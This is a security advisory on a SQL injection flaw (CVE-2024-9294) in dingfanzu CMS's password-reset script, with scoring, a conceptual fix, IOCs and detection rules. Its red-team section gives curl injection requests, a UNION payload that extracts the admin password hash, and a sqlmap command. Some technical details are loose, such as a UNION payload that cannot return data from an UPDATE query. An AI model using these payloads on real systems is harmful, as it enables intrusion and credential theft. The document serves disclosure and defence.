CVE-2024-9294

Executive Summary

CVE-2024-9294 is a critical SQL injection vulnerability discovered in the dingfanzu CMS, affecting all versions up to commit 29d67d9044f6f93378e6eb6ff92272217ff7225c. The flaw resides in the saveNewPwd.php file, where the username parameter is improperly sanitized before being used in a database query. This allows an unauthenticated, remote attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and further lateral movement within the network.

The vulnerability has been publicly disclosed with proof-of-concept (PoC) code, increasing the risk of widespread exploitation. The vendor uses a continuous delivery model with rolling releases, making it difficult to pinpoint a specific patched version. As of this report, no official patch or advisory has been released.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a custom PHP CMS application. However, if the CMS is distributed via any package repository or included as a dependency in other projects, those supply chains are also affected. Organizations should audit their use of dingfanzu CMS and treat it as a high-risk component.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Ability to modify or delete data.
• Availability Impact: High (A:H) – Potential to disrupt database service.

Threat Level: Critical. The combination of remote exploitability, no authentication, and high impact makes this a top-priority vulnerability for remediation.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the saveNewPwd.php script. The username parameter is taken directly from the HTTP request (likely via GET or POST) and concatenated into a SQL query without proper sanitization or parameterized queries.

Vulnerable Code Snippet (Conceptual):

<?php
$username = $_REQUEST['username'];
$sql = "UPDATE users SET password = '$newPassword' WHERE username = '$username'";
mysqli_query($conn, $sql);
?>

An attacker can manipulate the username parameter to break out of the SQL string context. For example:

username = admin' OR '1'='1

This would result in the query:

UPDATE users SET password = 'attacker_hash' WHERE username = 'admin' OR '1'='1'

This would update the password for all users, or allow the attacker to bypass authentication.

Attack Flow:

1. Attacker identifies the vulnerable endpoint: saveNewPwd.php.
2. Attacker sends a crafted HTTP request with a malicious username parameter.
3. The SQL injection payload executes, allowing the attacker to:
   • Extract data from the database (e.g., user credentials, sensitive content).
   • Modify or delete data.
   • Potentially execute system commands if the database user has sufficient privileges (e.g., xp_cmdshell in SQL Server, INTO OUTFILE in MySQL).

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual fix.

Vulnerable Code:

$username = $_REQUEST['username'];
$sql = "UPDATE users SET password = '$newPassword' WHERE username = '$username'";

Patched Code (Using Prepared Statements):

$username = $_REQUEST['username'];
$stmt = $conn->prepare("UPDATE users SET password = ? WHERE username = ?");
$stmt->bind_param("ss", $newPassword, $username);
$stmt->execute();

Additional Hardening:

• Validate input: Ensure username matches expected format (e.g., alphanumeric, no special characters).
• Use a Web Application Firewall (WAF) to block SQL injection patterns.
• Apply the principle of least privilege to the database user.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running dingfanzu CMS with the vulnerable saveNewPwd.php.
• A tool like sqlmap or curl.

Manual Exploitation:

1. Identify the endpoint:

   curl -v "http://target.com/saveNewPwd.php?username=test&password=test"
   

2. Test for SQL injection:

   curl "http://target.com/saveNewPwd.php?username=admin'&password=test"
   

   If the server returns an error (e.g., MySQL syntax error), the parameter is injectable.
3. Extract data using UNION-based injection:

   curl "http://target.com/saveNewPwd.php?username=' UNION SELECT 1,2,3,4,5-- -&password=test"
   

4. Automated exploitation with sqlmap:

   sqlmap -u "http://target.com/saveNewPwd.php?username=admin&password=test" --batch --dbs
   

PoC Payload (Extract admin password hash):

' UNION SELECT id, username, password, email, role FROM users WHERE username='admin'-- -

Blue Team (Defensive)

Lab Setup for Detection:

1. Deploy a honeypot: Set up a vulnerable instance of dingfanzu CMS in an isolated environment.
2. Monitor logs: Capture all HTTP requests to saveNewPwd.php.
3. Simulate attack: Use the above payloads to generate logs.

Detection Strategy:

• Look for SQL keywords in the username parameter: ', OR, AND, UNION, SELECT, --, #.
• Monitor for unusual response sizes or database error messages.
• Alert on multiple requests to saveNewPwd.php from the same IP in a short time.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /saveNewPwd.php with suspicious username parameter values containing SQL metacharacters.
  • Outbound database connections from the web server to unusual IPs (data exfiltration).
• File IOCs:
  • Unexpected files in the web root (e.g., .sql dumps, webshells).
  • Modified saveNewPwd.php file (if attacker uploads a backdoor).
• Log IOCs:
  • Database error logs showing SQL syntax errors.
  • Web server access logs with patterns like username=admin' OR '1'='1.
• System IOCs:
  • Unusual database queries (e.g., SELECT * FROM mysql.user).
  • New user accounts or modified passwords.

Detection Engineering

YARA Rule

rule CVE_2024_9294_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-9294 in dingfanzu CMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-9294"
    strings:
        $sqli1 = /username=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli2 = /username=.*\b(1=1|1=2|admin')\b/i
        $sqli3 = /saveNewPwd\.php.*username=.*%27/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-9294 SQL Injection Attempt
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against dingfanzu CMS saveNewPwd.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "username='"
            - "username=%27"
            - "username=admin'"
            - "username=1' OR"
            - "username=' UNION"
    condition: selection
falsepositives:
    - Legitimate use of apostrophes in usernames (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9294 SQL Injection Attempt"; flow:to_server,established; content:"saveNewPwd.php"; http_uri; content:"username"; http_client_body; pcre:"/username=.*['\x27].*(OR|AND|UNION|SELECT|--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the CMS: If possible, take the dingfanzu CMS offline until a patch is applied.
2. Apply Virtual Patching: Use a WAF to block SQL injection patterns targeting saveNewPwd.php.
3. Input Validation: Implement strict input validation for the username parameter (allow only alphanumeric characters).
4. Database Hardening:
   • Ensure the database user used by the CMS has minimal privileges (e.g., no FILE, CREATE, DROP privileges).
   • Use a dedicated database user with only SELECT, INSERT, UPDATE, DELETE on required tables.

Long-Term Fix:

• Rewrite the saveNewPwd.php script to use prepared statements (parameterized queries) as shown in the patched code example.
• Conduct a full security audit of the CMS codebase.
• Monitor the vendor's repository for any future commits that address this issue.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.